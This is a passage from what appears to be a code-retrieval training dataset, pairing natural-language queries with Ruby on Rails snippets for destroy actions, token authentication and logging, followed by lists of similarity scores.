"def destroy\n @product_set = ProductSet.find(params[:id])\n @product_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_product_sets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @compliance.destroy\n\n respond_to do |format|\n format.html { redirect_to(compliances_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @plantilla = Plantilla.find(params[:id])\n @plantilla.destroy\n\n respond_to do |format|\n format.html { redirect_to(plantillas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @locations_locationset = LocationsLocationset.find(params[:id])\n @locations_locationset.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_locationsets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @frequentmag = Frequentmag.find(params[:id])\n @frequentmag.destroy\n\n respond_to do |format|\n format.html { redirect_to(frequentmags_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mobile = Mobile.find(params[:id])\n #@mobile.destroy\n\n respond_to do |format|\n format.html { redirect_to(mobiles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @it_device = ItDevice.find(params[:id])\n @it_device.destroy\n\n respond_to do |format|\n format.html { redirect_to(it_devices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @otml_category = OtrunkExample::OtmlCategory.find(params[:id])\n @otml_category.destroy\n\n respond_to do |format|\n format.html { redirect_to(otrunk_example_otml_categories_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.6890203",
"0.6556167",
"0.64369136",
"0.63576245",
"0.6337912",
"0.6330838",
"0.63070613",
"0.6278583",
"0.62609607",
"0.6232366",
"0.6207174",
"0.620576",
"0.6205208",
"0.6204459",
"0.619083",
"0.61841786",
"0.61829627",
"0.61820513",
"0.6179404",
"0.6164728",
"0.6160919",
"0.6129735",
"0.61251825",
"0.61224526",
"0.612053",
"0.6118719",
"0.6112734",
"0.6110632",
"0.610839",
"0.6081553",
"0.60786855",
"0.6075161",
"0.6066425",
"0.605728",
"0.6053093",
"0.6051058",
"0.6050723",
"0.6047695",
"0.60450524",
"0.60403866",
"0.6037729",
"0.60367453",
"0.6034619",
"0.6028669",
"0.60217434",
"0.6013286",
"0.60127306",
"0.60117936",
"0.60117173",
"0.6009497",
"0.60086995",
"0.60076755",
"0.60032874",
"0.60002816",
"0.5996812",
"0.5995169",
"0.59949344",
"0.5992957",
"0.5984114",
"0.59833205",
"0.5980019",
"0.5979644",
"0.59762317",
"0.5971029",
"0.5970255",
"0.59686387",
"0.59686357",
"0.5967485",
"0.5966472",
"0.59654206",
"0.59647655",
"0.59647655",
"0.59642065",
"0.59638965",
"0.5961556",
"0.5960334",
"0.59576845",
"0.59562325",
"0.59561044",
"0.5953504",
"0.59525555",
"0.59513676",
"0.59495145",
"0.5942427",
"0.59404606",
"0.5939568",
"0.59374696",
"0.59338117",
"0.59330136",
"0.5932301",
"0.59296393",
"0.591827",
"0.59177136",
"0.59176356",
"0.5914309",
"0.5913316",
"0.5910823",
"0.5910411",
"0.5908364",
"0.59007275"
] |
0.745034
|
0
|
return auth token once user is authenticated
|
def authenticate
auth_token =
AuthenticateUser.new(auth_params[:email], auth_params[:password]).call
# kindly refactor and add more keys to the response object when needed
response = {
status: Message.success,
data: {
token: auth_token
}
}
json_response(response, 200)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def token\n authenticated\n end",
"def auth_token\n return regenerate_auth_token if expired?\n\n authentication.auth_token\n end",
"def auth_token\n @@auth_token\n end",
"def auth_token\n @auth_token ||= ActionController::HttpAuthentication::Token.token_and_options(request)\n end",
"def get_token\n session[:token] if authorized?\n end",
"def auth_token\n AuthToken.new payload: { sub: user.id }\n end",
"def auth_token\n self.auth_response[:auth_token]\n end",
"def auth_token\n auth_token_for(DEFAULT_AUTH_TOKEN_KEY)\n end",
"def authentication_token\n object.authentication_token if !current_user || object.id == current_user.id\n end",
"def current_user\n authenticate_token\n end",
"def token\n authenticate_username_password || render_unauthorized\n end",
"def authenticate\n authenticate_or_request_with_http_token do |token _options|\n @current_user = User.find_by token: token\n end\n end",
"def token\n Rails.cache.read(AUTH_TOKEN_CACHE_KEY) || retrieve_token!\n end",
"def token\n authenticate_username_password || render_unauthorized\n end",
"def authenticate_token \n\t\tauthenticate_with_http_token do | token, options| \n\t\t\tUser.find_by(auth_token: token)\n\t\tend\n\tend",
"def auth_token\n TokenProvider.issue_token(\n first_name: object.first_name,\n last_name: object.last_name,\n username: object.username,\n user_id: object.id,\n role: object.role\n )\n end",
"def auth_token(auth)\n validate_auth(auth, %i[token])\n auth[:token]\n end",
"def authentication_token\n generate_token(:authentication_token)\n end",
"def ensure_auth_token\n unless self.auth_token\n self.auth_token = User.generate_token\n end\n end",
"def auth_token\n @auth_token ||= request.headers.fetch('Authorization', '').split(' ').last\n end",
"def authentication_token\n if session[:authentication_token]\n if DateTime.now >= session[:expires_at]\n refresh_token\n else\n session[:authentication_token]\n end\n else\n nil\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n # else\n # authentication_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authenticate_error\n end\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n @current_user = User.find_by(token: token)\n @current_user\n end\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n User.find_by(auth_token: token)\n end\n end",
"def generate_auth_token\n token = AuthToken.new(user: self)\n token if token.save\n end",
"def token!\n raise \"#{username} is not signed in, (token is set to nil).\" unless token\n\n token\n end",
"def authenticate\n authenticate_or_request_with_http_token do |token, _options|\n @current_user = User.find_by token: token\n end\n end",
"def http_auth_token\n\n @http_auth_token ||= if request.headers.present?\n request.headers[\"HTTP_AUTH_TOKEN\"]\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n client_id = request.headers['Client-ID']\n\n if auth_token\n authenticate_with_auth_token(auth_token, client_id)\n else\n authentication_error\n end\n end",
"def token_auth(*args, &block); end",
"def auth_token\n\t\trequest.headers['X-AUTH-TOKEN']\n\tend",
"def authenticate\n authenticate_token || render_unauthorized\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
"def get_token\n # Get the user by email\n user = User.find_by_email(params[:email])\n \n # return unauthorized if the user was not found\n if !user \n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if the user is not authenticated via the authenticate method\n # then return unauthorized\n if !user.authenticate( params[:password] )\n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if our code gets here, we can generate a token and response.\n # JWT's include an expiry, we will expire the token in 24 hours\n token = jwt_encode({user_id: user.id}, 24.hours.from_now)\n render json: {token: token, exp: 24, username: user.email, userId: user.id},\n status: :ok\n \n end",
"def check_auth_token\n generate_authentication_token! if new_record? || user_status_id_changed?\n end",
"def authenticate!\n if !authenticated?\n response = request_token\n\n @token = response[\"token\"]\n @expires_at = DateTime.parse(response[\"expires_at\"])\n end\n\n [@token, @expires_at]\n end",
"def token\n\n authenticate_with_http_basic do |email, password|\n user = User.find_by(email: email)\n if user && user.authenticate(password) \n render json: { token: user.api_token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end",
"def retrieve_auth_token\n http = Net::HTTP.new(auth_endpoint.host, auth_endpoint.port)\n\n request = Net::HTTP::Post.new(auth_endpoint.request_uri)\n\n request.basic_auth(\n TodoableApi.configuration.username,\n TodoableApi.configuration.password\n )\n\n handle_auth_response(http.request(request))\n end",
"def authenticate_with_token\n # get the token from the header\n # get the token from the post body\n # get the token from json post\n \n token = request.headers[\"HTTP_AUTHORIZATION\"]\n \n if (!token)\n if (not_protected self.controller_name, self.action_name)\n return nil\n end\n\n redirect_to controller: 'application', action: 'index' \n end\n\n #@user = get_user_by_token(token)\n end",
"def auth_token\n (protect_against_forgery? ? form_authenticity_token : nil)\n end",
"def authenticate_user_from_token!\n auth_service = AuthenticationService.new\n user = auth_service.authenticated?(request.headers[\"name\"], request.headers[\"token\"])\n sign_in user, store: false if user\n end",
"def token\n request.headers[\"Authorization\"]\n end",
"def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end",
"def ensure_authentication_token\n self.authentication_token ||= generate_authentication_token\n end",
"def authentication_token\n @authentication_token ||= OohAuth::Token.first(:token_key=>token)\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n unless user\n render json: { errors: 'user must signed in' }, status: :unprocessable_entity\n end\n end",
"def token\n return @settings.token if @settings.token?\n\n token = token_store.load(token_store_key)\n return token if token\n\n return nil unless @settings.autologin\n\n token = V1.request_auth_token!(auth_connection)\n token_store.store(token_store_key, token)\n token\n end",
"def ensure_authentication_token\n self.authentication_token ||= generate_authentication_token\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n if user_token\n user = User.where(authentication_token: user_token.to_s).first\n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n else\n render status: 401, json: {success: false, error: \"invalid token\" }\n end\n end\n end",
"def token\n request.headers['Authorization']\n end",
"def auth_token_param\n params[:auth_token]\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def authenticate\n authenticate_token || render_unauthorized\n end",
"def authenticate_request!\n return render_unauthorized unless request.headers['Authorization'].present?\n\n @token ||= AuthenticateRequest.get(User, request.headers['Authorization'].split(' ').last)\n @current_user = @token[:user]\n end",
"def get_devise_auth_token\n authorization = Authorization.where(:provider => 'devise', :customer_id => id.to_s).first\n\n unless authorization.blank?\n authorization.token\n end\n end",
"def auth_token(opts = {})\n get_config_auth_token() || create_authorization(opts)\n end",
"def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end",
"def token\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\n\n # allows our tests to pass\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\n\n if bearer.present?\n bearer.split.last\n else\n nil\n end\n end",
"def authenticate\n \n authenticate_or_request_with_http_token do |token|\n begin\n decoded = decode(token)\n @current_user = User.find_by(id: decoded[0][\"user_id\"]) \n \n rescue JWT::DecodeError\n render json: {authorized: false }, status: 401 \n end\n end \n end",
"def get_token\n LastFM.get( \"auth.getToken\", {}, :secure )\n end",
"def set_auth_token\n return if auth_token.present?\n self.auth_token = generate_auth_token\n end",
"def authorize_request\n\t\tauthenticate_with_http_token do |token, options|\n\t\t\tUser.find_by(token: token)\n\t\tend\n\tend",
"def token\r\n bearer = request.headers[\"HTTP_AUTHORIZATION\"]\r\n\r\n # allows our tests to pass\r\n bearer ||= request.headers[\"rack.session\"].try(:[], 'Authorization')\r\n\r\n if bearer.present?\r\n bearer.split.last\r\n else\r\n nil\r\n end\r\n end",
"def http_auth_token\n @http_auth_token ||= if request.headers['Authorization'].present?\n request.headers['Authorization'].split(' ').last\n end\n end",
"def authenticate_with_token!\n render json: { errors: 'Acesso não autorizado!' }, status: 401 unless user_logged_in?\n end",
"def authenticate\n \n authenticate_token || render_unauthorized\n end",
"def token\n refresh_token if needs_token_refresh?\n return @token\n end",
"def token_auth\n Hash['type' => 'token',\n 'token' => @token,]\n end",
"def token\n client.token if client\n end",
"def authenticate_token\n @is_authenticated = false\n if request.headers[\"TOKEN\"]\n if request.headers[\"TOKEN\"] == \"AppDipre\"\n @is_authenticated = true\n end\n end\n end",
"def authenticate_token\n @is_authenticated = false\n if request.headers[\"TOKEN\"]\n if request.headers[\"TOKEN\"] == \"AppDipre\"\n @is_authenticated = true\n end\n end\n end",
"def authenticate_user!\n token, options = ActionController::HttpAuthentication::Token.token_and_options(request)\n\n super unless token == 'rbMmEeoH8RxRDyN24PQv'\n end",
"def authorize_request\n authenticate_with_http_token do |token, option|\n User.find_by(token: token)\n end\n end",
"def generate_authentication_token\n self.auth_token = User.new_token\n\t\t\tself.auth_expires_at = Time.now + 240.hours\n\tend",
"def auth_token\n Auth.decode(header_token)\n end",
"def grab_auth_token\n return @authToken if @authToken\n home_page = get_page(HOME_URL)\n @authToken = home_page.forms.first['authenticity_token']\n STDERR.puts \"FOUND AUTH TOKEN #{@authToken}\" if DEBUG\n end",
"def auth_token \n JWT.encode({id: self.id}, \"9885ea7895518eaf88c4a8a2e8f62c82\")\n end",
"def user_authentication!\n if params[:auth_token].present? or params[:token_authentication]== \"true\"\n #this is for api authentication and access\n authenticate_user_from_token!\n else\n #normal devise authentication\n authenticate_user!\n end\n end",
"def access_token\n @auth.access_token\n end",
"def token\n authenticate_with_http_basic do |username, password|\n\n user = User.find_by(username: username)\n if user && user.password == password\n render json: { token: user.token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n token == 'ABC'\n end\n end",
"def authorize_request\n authenticate_with_http_token do |token, options|\n User.find_by(token: token)\n end\n end",
"def authentication_token\n if env && env['HTTP_AUTHORIZATION']\n env['HTTP_AUTHORIZATION'].split(\" \").last\n end\n end",
"def authenticate_user_from_token!\n # user_id = params[:user_id].presence\n # user = user_id && User.find(user_id)\n # api_token = params[:api_token] || env['HTTP_API_TOKEN']\n # if user && Devise.secure_compare(user.api_token, api_token)\n # sign_in user, store: false and return\n # end\n\n # render_error({ :error => \"Please sign in first.\" })\n end",
"def authenticate_with_token!\n render json: { errors: \"Not authenticated\" }, status: :unauthorized unless user_signed_in?\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n\n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n end\n end",
"def send_token_for_valid_login_of(user)\n\t\trender json: {token: user.auth_token }\n\tend",
"def authenticate_token\n render_401 if @token.blank? || !@token.active?\n end",
"def get_token\n request.headers[\"Authorization\"]\n end",
"def authenticate_user\n @token = Token.find_by(auth_token: request.headers['HTTP_AUTH_TOKEN'])\n return render json: { message: 'token invalid' }, status: 422 unless @token\n\n @current_user = @token.user\n end",
"def authentication_token\n @authentication_token ||= JWT.encode(payload, secret, algorithm)\n end",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def auth_token\n return token if token.present?\n\n false\n # raise(CustomException::MissingToken, 'token is missing')\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n user = User.find_by(access_token: auth_token)\n\n fail AccessDenied unless user\n\n @current_user = user\n end"
] |
[
"0.8565935",
"0.80645263",
"0.8033518",
"0.79531187",
"0.7941286",
"0.7870694",
"0.7866866",
"0.78328985",
"0.7800592",
"0.77756053",
"0.7730517",
"0.77039945",
"0.770132",
"0.7682521",
"0.76709354",
"0.7640957",
"0.76166993",
"0.7575638",
"0.75748223",
"0.7572745",
"0.75536776",
"0.7516651",
"0.7516651",
"0.75061715",
"0.7504418",
"0.7492739",
"0.7489781",
"0.74889624",
"0.74496454",
"0.7388268",
"0.7379449",
"0.73688227",
"0.7359239",
"0.7316971",
"0.73159426",
"0.73154473",
"0.730974",
"0.7299504",
"0.72962314",
"0.72932094",
"0.72870445",
"0.7282904",
"0.7257496",
"0.7254411",
"0.7249704",
"0.72439486",
"0.7243371",
"0.72337145",
"0.72302306",
"0.72276527",
"0.7211538",
"0.72053",
"0.71986467",
"0.7197575",
"0.71887976",
"0.71887773",
"0.71879196",
"0.71876246",
"0.71839654",
"0.7180099",
"0.7180099",
"0.7173995",
"0.7167118",
"0.7164242",
"0.7163076",
"0.7159844",
"0.71537614",
"0.7148736",
"0.71454805",
"0.7143624",
"0.71430475",
"0.7135375",
"0.7132617",
"0.7132617",
"0.71257055",
"0.71226454",
"0.7116557",
"0.71165526",
"0.7116337",
"0.71152544",
"0.7109958",
"0.71066654",
"0.7104634",
"0.7099893",
"0.7097837",
"0.7097271",
"0.70951766",
"0.70921665",
"0.7092009",
"0.70916265",
"0.7081367",
"0.705217",
"0.7044299",
"0.70413613",
"0.70386404",
"0.70386404",
"0.70386404",
"0.70386404",
"0.70386404",
"0.7017047",
"0.70153195"
] |
0.0
|
-1
|
Returns a string of all the log output from the import. Or returns nothing if a custom logger was used.
|
def log
@log_output.string
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logger_output; end",
"def log\n @output || []\n end",
"def log\n @log ||= Logging.logger[File.basename($0)]\n end",
"def output\n App.settings.log_output\n end",
"def error_output\n where = Array.new\n where << 'below' if @logger.prints_errors\n where << 'with increased verbosity' if ! @logger.prints_errors\n where << \"in autolog at #{ ENV[ 'DCP_INSPECT_DIR' ] }\" if @logger.writes_autolog\n where << 'in autolog with option --autolog' if ! @logger.writes_autolog\n where << \"in #{ @logger.logfile }\" if @logger.writes_logfile\n where << 'in a logfile with option --logfile' if ! @logger.writes_logfile\n return where.join ' or '\nend",
"def combined_log\n messages.join.strip\n end",
"def logs_of(selection, log: nil)\n if workspace_dir?(selection) || (pkg_set = find_package_set(selection))\n return [] if log && log != \"import\"\n\n name = if pkg_set then pkg_set.name\n else\n \"autoproj main configuration\"\n end\n\n import_log = File.join(ws.log_dir, \"#{name}-import.log\")\n if File.file?(import_log)\n [import_log]\n else\n []\n end\n else\n pkg = resolve_package(selection)\n Dir.enum_for(:glob, File.join(pkg.logdir, \"#{pkg.name}-#{log || '*'}.log\")).to_a\n end\n end",
"def log\n File.read(SPEC_LOG) rescue \"\"\n end",
"def get_logger; @logger; end",
"def log_messages\n\t\treturn Thread.current[ 'logger-output' ] ||= []\n\tend",
"def logger\n self.configuration.logger || Logger.new($stdout)\n end",
"def logger\n\t\t\t@system_lock.synchronize {\n\t\t\t\treturn @systems[0].logger unless @systems.empty?\n\t\t\t}\n\t\t\tSystem.logger\n\t\tend",
"def log_full_pathname( data_import_session )\n # Memo-ize the filename the first time this is called:\n @log_filename ||= File.join( Rails.root, 'log', \"#{ get_log_basename(data_import_session) }#{ get_log_extension(data_import_session) }\" )\n end",
"def logger\n @log\n end",
"def logger\n @log\n end",
"def log\n LOGGER\n end",
"def log\n ::Deployable::Log.log\n end",
"def auth_log\n return './auth.log' if @cfg['run_mode'] == 'full_debug'\n\n AUTH_LOG_FILES.each { |log_file| return log_file if File.exists?(log_file) }\n\n return nil\n end",
"def log\n @log ||= Logger.new($stdout)\n end",
"def smartlog\n assert_in_repo\n SugarJar::Log.info(hub(\n 'log', '--graph', '--oneline', '--decorate', '--boundary',\n '--branches', \"#{most_master}..\"\n ).stdout.chomp)\n end",
"def log\n @log ||= Logger.new(STDOUT)\n end",
"def log string, importance = 0, component = nil\n time_string = \"(\" + Time.now.strftime(DATEFORMAT) + \")\"\n\n LOGGERS.each { |logger|\n logger.log_raw(string.to_s, component.to_s, time_string) if logger.should_show(component, importance)\n }\nend",
"def default_logger\n Logger.new(debug? ? STDOUT : nil)\n end",
"def get_log\n SimpleWorker.service.log(task_id)\n end",
"def log\n advanced[:log]\n end",
"def process_log\n @service.respond_to?(:process_log) ? @service.process_log : \"\"\n end",
"def log\n \"#{self.dir}.log\"\n end",
"def default_logger\n Logger.new(STDOUT)\n end",
"def log_file; end",
"def to_s\n lines = if @source_lines.nil?\n ''\n else\n # @type [Hash<Symbol, Int>] @source_lines\n \":#{@source_lines.values.uniq.join('-')}\"\n end\n\n message = @message\n message = message.split(\"\\n\").map(&:strip).join(' ') unless @preformatted\n message += \"\\nLog pattern: '#{@pattern}'\" if Logger.debug?\n\n <<~MSG\n #{@source_file}#{lines}: #{@level.to_s.upcase}\n #{message}\n MSG\n end",
"def get_logger()\n # Set up logging\n log = ::Logger.new(STDOUT)\n log.level = ::Logger::INFO\n return log\nend",
"def log\n @@log ||= Logger.new($stdout)\n end",
"def log str\n puts \"LOG: #{str.to_s.strip}\"\n end",
"def logger\n if @logger.nil?\n @logger = Logger::new(STDOUT)\n \n # formatter\n default = Logger::Formatter::new\n @logger.formatter = proc do |severity, datetime, progname, msg|\n progname = @targets.from\n msg = \"##{Thread.current.object_id} \" + msg \n default.call(severity, datetime, progname, msg)\n end\n end\n \n return @logger\n end",
"def log_formatter; end",
"def log_formatter; end",
"def log\n Engine.logger\n end",
"def logger\n @logger\n end",
"def logger\n @logger\n end",
"def logger\n logger = Logger.new(STDOUT)\nend",
"def log_file\n return @log_file\n end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = \"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end",
"def log_output()\n prefix = @global_opts[:prefix] ? (@global_opts[:prefix] + \"-\") : \"\"\n t = Time.now.strftime(\"%Y%m%d%H%M%S\")\n\n # Check for any returned records\n if (@successes > 0 and not [\"set\", \"unset\", \"check\"].include?(@cmd))\n any_records = true\n else\n any_records = false\n end\n\n # Data\n if any_records\n data_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \".xml\"\n data = File.new(data_filename, \"w+:UTF-8\")\n data.write(@response_data)\n data.close\n end\n\n status_extension = @global_opts[:csv] ? \".csv\" : \".txt\"\n status_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \"-log\" + status_extension\n\n # Summary\n summary = \"\"\n summary << <<~SUMMARY\n OCLC WorldCat Metadata API: #{@cmd.capitalize} operation\n #{PAST_TENSE[@cmd].capitalize} #{@successes.to_s} #{@successes != 1 ? \"records\" : \"record\"} and #{@failures.to_s} failed\n #{\"Records written to \" + data_filename if any_records}\n Log written to #{status_filename}\n SUMMARY\n\n # Status log\n status = File.new(status_filename, \"w+:UTF-8\")\n status.write(@debug_info) if @global_opts[:debug]\n status.write(summary + \"\\n\")\n status.write(@response_status)\n status.close\n\n puts summary\n end",
"def description\n return \"imported #{@description.gsub('imported ', '')}\" if @description.include?(\"imported \")\n @description\n end",
"def logger\n LOGGER\n end",
"def logger\n @logger\n end",
"def log\n @log\n end",
"def log\n @log || MPDClient.log\n end",
"def logger\n @logger || Rcal::Util::Loggable.default_logger\n end",
"def to_s\n \"<%s name=\\\"%s\\\">\" % [self.class.name.sub(%r/^Logging::/, ''), self.name]\n end",
"def logger\n Logging.logger\n end",
"def log\n Chef::Log\n end",
"def log\n @test_mode ? LogHelper::Redirect.instance.file : STDOUT\n end",
"def log_source\n if is_info?\n file, line = words[1].split(':')\n return [file, line.to_i]\n else\n nil\n end\n end",
"def get_log_extension( data_import_session, default_ext = \".log\" )\n \".%02d.#{ @process_log_extension }#{ default_ext }\" % get_last_completed_phase( data_import_session )\n end",
"def logger\n @logger ||= Logger.new(STDOUT)\n end",
"def log\n Engines.log\n end",
"def log_lines\n\n self.each do |line|\n clean_line = line.to_s.chomp.gsub(\"\\\\n\",\"\")\n log.info(x) { line } if clean_line.length > 0\n end\n\n end",
"def logger\n @logger ||= ::Logger.new($stdout)\n end",
"def logger; LOGGER; end",
"def log_file\n end",
"def info\n old_logger = logger_off\n lang_map_info\n sentence_info\n word_info\n logger_on(old_logger)\n end",
"def logger\n @logger ||= Logger.new(STDOUT)\n end",
"def self_log_file\n return File.join(File.dirname(__FILE__), 'sshsurveyor.log')\n end",
"def logs\n end",
"def logger ; @log end",
"def logger\n Turntabler.logger\n end",
"def logger\n ::Logger.new($stdout).tap do |log|\n log.formatter = proc do |severity, _datetime, _progname, msg|\n prep = ' ' * (severity.size + 3)\n message = msg.lines.map.with_index do |str, i|\n next str if i.zero?\n\n str.strip.empty? ? str : prep + str\n end\n color = severity.downcase.to_sym\n msg = +\"[#{SeccompTools::Util.colorize(severity, t: color)}] #{message.join}\"\n msg << \"\\n\" unless msg.end_with?(\"\\n\")\n msg\n end\n end\n end",
"def output_me(level, print_and_log_me)\n\n print_and_log_me = \"52m_update_maps.rb:\" + print_and_log_me\n puts print_and_log_me\n\n if level == \"debug\"\n logger.debug(print_and_log_me)\n end\n if level == \"info\"\n logger.info(print_and_log_me)\n end\n if level == \"error\"\n logger.error(print_and_log_me)\n end\nend",
"def output_me(level, print_and_log_me)\n\n print_and_log_me = \"52m_update_maps.rb:\" + print_and_log_me\n puts print_and_log_me\n\n if level == \"debug\"\n logger.debug(print_and_log_me)\n end\n if level == \"info\"\n logger.info(print_and_log_me)\n end\n if level == \"error\"\n logger.error(print_and_log_me)\n end\nend",
"def logger\n @logger || XeroExporter.logger\n end",
"def log\n @log ||= Logging.logger[self]\n end",
"def logger\n @logger ||= variable(:logger) || Capistrano::Logger.new(:output => STDOUT)\n end",
"def logs(app_name)\n deprecate # 07/31/2012\n get(\"/apps/#{app_name}/logs\").to_s\n end",
"def logger\n @logger ||= ::Logger.new STDOUT\n end",
"def logger\n @logger ||= ::Logger.new STDOUT\n end",
"def logger\n @logger ||= ::Logger.new STDOUT\n end",
"def get_log(ssh, job)\n log_path = get_glite_output_to_file(ssh, job)\n\n out_log_content = ssh.exec!(tail(log_path, 25))\n # TODO: remove also output dir\n ssh.exec!(BashCommand.new.rm(log_path).to_s)\n\n <<-eos\n--- gLite info ---\n#{get_job_info(ssh, job.job_identifier)}\n--- Simulation Manager log ---\n#{out_log_content}\n eos\n end",
"def log()\n @log\n end",
"def logfile\n nil\n end",
"def logger\n return @logger if @logger\n\n # Figure out where the output should go to.\n output = nil\n if ENV[\"MELISSADATA_LOG\"] == \"STDOUT\"\n output = STDOUT\n elsif ENV[\"MELISSADATA_LOG\"] == \"NULL\"\n output = nil\n elsif ENV[\"MELISSADATA_LOG\"]\n output = ENV[\"MELISSADATA_LOG\"]\n else\n output = nil #log_path.join(\"#{Time.now.to_i}.log\")\n end\n\n # Create the logger and custom formatter\n @logger = Logger.new(output)\n @logger.formatter = Proc.new do |severity, datetime, progname, msg|\n \"#{datetime} - #{progname} - [#{resource}] #{msg}\\n\"\n end\n\n @logger\n end"
] |
[
"0.6808813",
"0.6136016",
"0.59732157",
"0.59679055",
"0.58576655",
"0.5819999",
"0.5804947",
"0.577453",
"0.5722508",
"0.5718833",
"0.5688028",
"0.5626797",
"0.56227845",
"0.56185174",
"0.56185174",
"0.56165624",
"0.55849195",
"0.55806226",
"0.5565969",
"0.5549522",
"0.55282754",
"0.5527434",
"0.5521653",
"0.5512898",
"0.55058914",
"0.5505695",
"0.5497355",
"0.54842806",
"0.54831606",
"0.54797614",
"0.5475949",
"0.54734665",
"0.5467728",
"0.5459197",
"0.5457525",
"0.5457525",
"0.5445464",
"0.54414976",
"0.54414976",
"0.54340726",
"0.5433096",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.5431712",
"0.54278976",
"0.5416101",
"0.5406637",
"0.54016924",
"0.5394597",
"0.5391772",
"0.5391242",
"0.5384231",
"0.53833467",
"0.5382292",
"0.5382108",
"0.5378711",
"0.53764564",
"0.53636307",
"0.5359234",
"0.5344751",
"0.53437793",
"0.53413224",
"0.53321695",
"0.53292507",
"0.53178024",
"0.53156453",
"0.5302824",
"0.5301572",
"0.52980727",
"0.52966744",
"0.5276785",
"0.5275802",
"0.5275802",
"0.52678037",
"0.52656054",
"0.5259159",
"0.5255945",
"0.5252981",
"0.5252981",
"0.5252981",
"0.5241369",
"0.5233529",
"0.5230666",
"0.5227566"
] |
0.6786407
|
1
|
Add includes options which will be used when querying records. Useful to avoid N+1 type problems. Configured has_manys are automaticaly included and don't need to be specified here.
|
def includes(options)
@includes = options
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
